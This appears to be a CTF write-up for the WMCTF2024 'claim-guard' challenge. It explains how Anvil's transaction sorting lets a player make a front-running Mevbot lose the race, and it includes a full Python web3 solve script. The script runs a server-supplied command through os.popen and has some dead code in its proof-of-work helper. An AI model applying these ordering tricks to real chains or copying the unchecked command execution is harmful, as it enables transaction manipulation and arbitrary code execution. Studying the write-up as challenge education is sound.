2024-09-11

Racing with Mevbot: WMCTF2024 - claim-guard writeup

Challenge

An Anvil node, accompanied by a reverse proxy layer that disables certain special RPC methods. Upon creation, there will be a Solidity challenge contract that seems very easy to solve.

A Mevbot written in Rust listens for new blocks and pending transactions. Every time you attempt to solve the challenge, it front-runs with double the gas price.

Analyze

Anvil enabled automining, where each transaction is packaged into a new block. However, in reality, the anvil/crates/anvil/src/eth/miner.rs#L73-L78 shows that MiningMode is overridden, so the mining strategy actually follows the later IntervalMining.

Note that the files under the infra/ directory, except for challenge.py, are consistent with paradigmxyz/paradigm-ctf-infrastructure (no smuggling, lol).

The main problem in this challenge is competing with Mevbot. A similar challenge can be referenced from DiceCTF 2024 Quals misc floordrop..

Although the actual implementation of transaction sorting in the source code is hard to locate, simple tests show that Anvil’s sorting strategy differs from Geth. Geth adjusts nonce in forward traversal, whereas Anvil sorts by fee first and then adjusts nonce in reverse traversal like:

nonce		1		0		0
from	   EOA1    EOA2	   EOA1
gasPrice	3		2		1

		↓After sort↓

nonce		0		0		1
from       EOA2	   EOA1	   EOA1
gasPrice	2		1       3

Meanwihle Geth (or consensus node in general) would sort like:

nonce		1		0		0
from	  EOA1    EOA2	  EOA1
gasPrice	3		2		1

		↓After sort↓

nonce		0		1 	    0	
from       EOA1	   EOA1    EOA2	
gasPrice	1       3	    2	

This means that we cannot use nonce disorder to move the proveWork(bytes32) transaction ahead of the Mevbot’s.

However, both Mevbot and the player have a preceding transaction, registerBlock(), before proveWork(bytes32). The gas price for Mevbot’s transaction is not dynamically adjusted (nor should it be), and it subscribes to new blocks to send automatically. If we increase the gasPrice of proveWork(bytes32), we can force Mevbot’s transaction into the the dilemma we encountered before:

nonce          1                  0
price         higer              lower
callfunc proveWork(bytes32) registerBlock()

In this situation, although Mevbot’s proveWork(bytes32) has the highest gasPrice in the pending transaction pool, due to the nonce ordering, Anvil will adjust the nonce in ascending order, pushing Mevbot’s transaction back. This gives the player a chance to front-run proveWork(bytes32).

Exploit script

from pwn import *
import os
import yaml
from eth_account import Account
from eth_account.signers.local import LocalAccount
from web3 import Web3, EthereumTesterProvider
from web3.middleware import SignAndSendRawMiddlewareBuilder
from eth_abi import encode as encode_abi
# context.log_level = 'debug'

def get_uuid():
    r1 = remote("claim-guard.wm-team.cn", 1338)
    command = r1.recvuntil(b'solution please: ', timeout=4).split(b'\n')[0].decode()
    commandres = os.popen(command).read()
    r1.sendline(commandres.encode())
    uuid = r1.recvline()[20:-1].decode()
    r1.close()
    return uuid


def setup():
    uuid = get_uuid()
    print(uuid)
    r2 = remote("claim-guard.wm-team.cn", 1337)
    r2.recvuntil(b"register)")
    r2.sendline(uuid.encode())
    r2.recvuntil(b"action? ")
    r2.sendline(str(1).encode())
    challgreeting = r2.recvuntil(b"---\n")
    challinfo = r2.recv(0xb1) + r2.recv(0xdf)
    print(challinfo)
    data = yaml.load(challinfo.decode(), Loader=yaml.FullLoader)
    r2.close()
    return data


def query_latest_block(rpc):
    block = rpc.eth.get_block("latest")
    txs = block.transactions
    parsed_txs = ["0x" + block.transactions[i].hex() for i in range(len(txs))]
    
    print(f"-----Blocknumber: {block.number}-----")
    for i in range(len(parsed_txs)):
        info = rpc.eth.get_transaction(parsed_txs[i])
        print(info)
    print(f"-----Blocknumber: {block.number}-----")

def pow(rpc, number=2):
    list = [
        "0x0000000000000000000000000000000000000000000000000000000000002a0f",
        "0x0000000000000000000000000000000000000000000000000000000000000479",
        "0x0000000000000000000000000000000000000000000000000000000000022c54",
        "0x0000000000000000000000000000000000000000000000000000000000005a89"
    ]
    return list[number - 1]
    # m = bytes(32)
    # n = rpc.keccak(m+bytes(31)+hex(number)[2:].encode())
    # while n[:2] != b'\x00\x00':
    #     m = n
    #     n = rpc.keccak(m+bytes(31)+hex(number)[2:].encode())
    return m



def main():
    data = setup()
    # data = {'rpc endpoints': ['http://claim-guard.wm-team.cn:8545/CFrDKeIrrzyriyKbuUVGeQid/main', 'ws://claim-guard.wm-team.cn:8545/CFrDKeIrrzyriyKbuUVGeQid/main/ws'], 'private key': 81246467169835778774174079390602428710200832768906685293358686080873952994741, 'challenge contract': 1130960660954871232401997496578636686913975350369}
    httprpc = data['rpc endpoints'][0]
    wsrpc = data['rpc endpoints'][1]
    privatekey = hex(data['private key'])
    challengecontract = Web3.to_checksum_address(hex(data['challenge contract']))
    assert len(challengecontract) == 42 # 2 + 40
    print(wsrpc, httprpc, privatekey, challengecontract)
    rpc = Web3(Web3.HTTPProvider(httprpc))
    # query_latest_block(rpc)
    player = Account.from_key(privatekey).address
    chall_addr = "0x" + rpc.eth.get_storage_at(challengecontract, 0)[12:].hex()

    print("setup:", challengecontract)
    print("chall:", chall_addr)
    print("player:", player)

    
    powed = pow(rpc, 2)

    ############### 2
    tx = {
        "chainId": 31337,
        "from": player,
        "to": Web3.to_checksum_address(chall_addr),
        "gasPrice": 120000000000,
        "gas": 0x60000,
        "value": 0,
        "nonce": 1,
        "data": rpc.keccak("proveWork(bytes32)".encode())[:4] + encode_abi(['bytes32'], [bytes.fromhex(powed[2:])])
    }
    
    stx = rpc.eth.account.sign_transaction(tx, privatekey)
    hash2 = rpc.eth.send_raw_transaction(stx.raw_transaction)
    print("0x"+hash2.hex())
    
    __import__('time').sleep(1)
    ############### 1
    tx = {
        "chainId": 31337,
        "from": player,
        "to": Web3.to_checksum_address(chall_addr),
        "gasPrice": 130000000000,
        "gas": 0x60000,
        "value": 0,
        "nonce": 0,
        "data": rpc.keccak("registerBlock()".encode())[:4]
    }

    stx = rpc.eth.account.sign_transaction(tx, privatekey)
    hash1 = rpc.eth.send_raw_transaction(stx.raw_transaction)
    print("0x"+hash1.hex())


    ############## 4
    # tx = {
    #     "chainId": 31337,
    #     "from": player,
    #     "to": Web3.to_checksum_address(chall_addr),
    #     "gasPrice": 8000000000,
    #     "gas": 0x600000,
    #     "value": 0,
    #     "nonce": 2,
    #     "data": rpc.keccak("proveWor(bytes32)".encode())[:4] + encode_abi(['bytes32'], [bytes(32)])
    # }

    # stx = rpc.eth.account.sign_transaction(tx, privatekey)
    # hash4 = rpc.eth.send_raw_transaction(stx.raw_transaction)
    # print("0x"+hash4.hex())

    ############### 3
    tx = {
        "chainId": 31337,
        "from": player,
        "to": Web3.to_checksum_address(chall_addr),
        "gasPrice": 1000000000,
        "gas": 0x60000,
        "value": 0,
        "nonce": 2,
        "data": rpc.keccak("claimLastWinner(address)".encode())[:4] + encode_abi(['address'], [player])
    }

    stx = rpc.eth.account.sign_transaction(tx, privatekey)
    hash3 = rpc.eth.send_raw_transaction(stx.raw_transaction)
    print("0x"+hash3.hex())



    # query_latest_block(rpc)
    __import__('time').sleep(10)
    print(rpc.eth.get_transaction_receipt("0x"+hash1.hex()))
    print(rpc.eth.get_transaction_receipt("0x"+hash2.hex()))
    print(rpc.eth.get_transaction_receipt("0x"+hash3.hex()))
    
    block = rpc.eth.get_block("latest")
    txs = block.transactions
    print(txs.index(hash1)+1, txs.index(hash2)+1, txs.index(hash3)+1)


if __name__ == "__main__":
    main()